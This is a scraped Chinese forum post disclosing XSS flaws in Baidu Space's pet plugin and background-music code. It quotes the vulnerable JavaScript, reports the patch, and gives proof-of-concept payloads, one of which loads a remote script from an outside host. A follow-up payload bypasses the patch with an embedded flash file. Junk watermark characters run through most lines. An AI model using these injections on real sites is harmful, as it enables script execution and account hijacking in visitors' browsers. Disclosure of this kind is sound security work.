找回密码
 立即注册
查看: 2470|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.    R. n1 ^( X% n5 g7 J  c" w
% O, ^+ s2 N; M6 q
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  2 ?! o/ T+ q) k) y
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
* T7 c% F% p% Q; q. D* v7 _( ]4 n/ M1 h# V$ j' n; B+ P0 f
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
3 H4 x# l; g. G( n其中BdUtil.insertWBR为  , n4 L6 b! h1 O( [$ t
function(text, step) {  
5 p6 A& a) _" S    var textarea = textAreaCache || getContainer();  
! q2 V  m/ }6 @0 I    if (!textarea) {  
) w+ x2 q' |4 s& v% Q        return text;  1 D: ^5 m# v! o% |3 W% `3 _
    }  
- w2 @- l1 g% [. k# I    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
  @: [: l2 }  ~) }- J8 ~    var string = textarea.value;  ' O: k. t0 e6 j
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
- b# {* _% K2 M    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
, ~1 A( l1 s' j0 |    return result;  ' g$ V( E# `3 C+ [1 m
}  
! H- Q2 ?) J: F% b7 _5 d7 t" O在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  8 m% G8 k+ m' A# K0 ^, b" k5 h. E
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
9 j. A: c# E% V6 y   
! u5 C6 \+ T3 D. [$ j二:creatbgmusic() Dom-Xss Bug  
6 g/ U" A" I9 ^/ r; h/ A0 @7 W百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  ) ?: q& N# Z  N% J3 v% x" [& V

+ F- k+ J3 X5 P5 b0 whttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
6 y% v4 r  o, [! Q% A6 P$ H) F- B  x( f
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
. a5 z9 Q+ Y( y0 }, N( _. q    //传入的murl赋值到bgmusic1和bgmusic2中  - P; s- `; N4 X$ B" W( d
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
: x7 B. `2 F" e) p4 e# z* c    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  ( C1 p) P) l  N( s- Z; e  a: k' c* o
    if (musicnum <= 1) {  ( l9 u* j1 R1 v9 R/ y9 E
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  . F- c1 Z5 R$ z9 V9 Y6 M0 S
    }  : Q/ k* s9 \1 ~
    bgmusic1 += "</OBJECT>";    ?$ T4 x+ ?/ @- e. ~
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
2 }9 S& n: C* P    if (musicnum <= 1) {  ! H$ b  G$ d: ~
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  * l# N5 X6 u3 Q5 i
    }  ! j+ j2 b2 x4 V2 f) P/ S9 U6 f
    bgmusic2 += "> </EMBED>";  ; h( ^! q- Q* q) f( R
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
& N& F3 {  [' O# F) N    var bgmus = detectWMP();  
' Y" r  S! G+ T$ H9 w    if (functype == "FckMusicHelper") {  
0 {  ]' `/ o) s6 u* F' z7 y6 i  Z        if (bgmus.installed) {  
& s7 U# j/ }, W7 x* ~            if (bgmus.type == "IE") {  
7 x# ~! F/ M7 H  ~/ w4 H  B                return bgmusic1;  
& a6 `3 e/ ^. z            } else if (bgmus.type == "NS") {  " P! G# P" R0 z* N+ O2 e: A" s: |" }* Z
                return bgmusic2;  
: [- Y" U" s  H* B            }  
  F$ |# h  r2 Z" k+ q        } else {  
- F0 W, W0 N  x: ]8 G/ C% A, P% U( z            return bgmusic3;  
; Z' W. M5 `& z* S9 s        }  
+ j" |9 f8 T0 M3 I7 {+ R) o4 }6 i    } else {  / J) q  [8 ]0 V  H
        if (bgmus.installed) {  
, Y; u3 L  p% t5 w  K            //document.write 直接输出bgmusic变量 导致xss  ( T$ `* n0 k% K" a
            if (bgmus.type == "IE") {  ) y' n! J+ \. I6 k/ C- S
                document.write(bgmusic1);  ) D! }" N4 `0 S" ?6 V; O4 x
            } else if (bgmus.type == "NS") {  
+ U, w; P: T5 E" A! E                document.write(bgmusic2);  
& M1 d3 F# f  m) ], o7 M            }  ( t' ~: t$ l) d3 b
        } else {  , {4 G& w# p. p# b6 y0 a: ^
            document.write(bgmusic3);  " M" n" |& V, j: ~1 m* m  n
        }  
7 Z" T8 ]6 \2 _( n* }- g9 V        return "";  
0 r4 j; |! a* r0 _, l; b4 W    }    X: M1 U1 G/ g. D" ]0 p* q8 x
}  
3 j% M+ C9 K5 ?. s9 h  }4 h, N$ ~6 c! W. y8 q) C$ H7 s5 F
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  - v& Q1 i; r$ C3 v0 i
8 i; Z/ j$ a# ?+ g$ o4 S2 x
function initBlogTextForFCK(){  
4 ]8 V2 \6 S$ d7 w$ l3 C5 V( H//fck init music  5 R- X* j3 C  v; y+ T
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
- Q- f; {) V/ ~, [$ X* {4 v# [var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
! `6 }1 f7 y$ q# k5 z$ M2 ~var isAutoPlay=true;  5 Q7 H# F6 M/ @) O; p' w& t
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
& ]2 L- E' l( b& }  var img=imgBox;  
, S  M3 R% m0 i9 m* L  if(img.getAttribute(’rel’)){        9 u4 O- F, u  W2 N4 e
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
+ R" j: N* z( E- N6 h4 t3 O   var musicDiv = document.createElement("SPAN");  
. V3 F2 S2 w& h   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
& \4 u. i; Q9 b# }% u, E     5 p& h7 g$ ~$ O8 M# m* S
      ..........................  * y8 P- v0 X9 p! M% E
     
7 o6 W4 T' Z* e# Z: j2 N  n   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   1 ?' @, b$ l4 S# n8 V
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  * z$ W. t6 Z) G+ {9 V& v
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  ' W' B4 l# S. _
   musicDiv.innerHTML=shtml;  2 B% r% i: H( {( ]; N1 F, A
   i--;n--;  
' [* ]# \- X0 @+ G  }  
: Y$ z& s3 x0 O& o* J4 z! S( |}  
& B7 l7 b( }) q% ]" }# `6 \  {$ U
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
6 p* k  h* j8 \3 F1 K1 H! D( q   
, o$ b* O/ Z- Q, r" w- E测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  2 I; i' M) D$ C

" x7 f. A( E0 e8 ^! y% @4 Q等待官方补丁  
1 q7 g. V/ \; U# d- y
  U7 |& O% l" Z  J% Oupdate 2010年5月13日   
( Q. D- U' [2 e  o. [- A6 P  [5 l% H* }6 |) U" @$ T8 Z+ w0 h
官方补丁:  4 G1 \1 O6 P8 y( [* a

/ P+ {/ A& ]1 ^0 C" I0 B1 Dvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  " J3 Z$ R, X  K2 g* ^8 u
改为:  4 G. O5 Y3 F) A! Y; j8 x% }. C+ l
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
8 m, m3 {: C1 v1 k1 t! z( }
- p; w) V  n1 J; V& v& Pupdate 2010年5月13日 21:50:37  - B, J4 w& S4 D; d" {+ ?

0 G4 F, h/ u' n( [: U+ a1 m补丁存在漏洞 没有过滤" 可以继续跨:  
8 ?4 [( ?% i& V- X' {, T. v* n6 j- N1 v7 A4 F& J: s. A
NEW POC:  
0 t0 ^: j) n6 t) r0 @; W4 E# [( |) v# |9 l3 Q# D$ P6 G  i
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
1 K8 ^4 w& q8 U! Q9 ?! Q& l. A
; F- F/ i7 Q% Vallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
3 c* c% e7 l4 k
% L& U0 m$ }9 J' _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表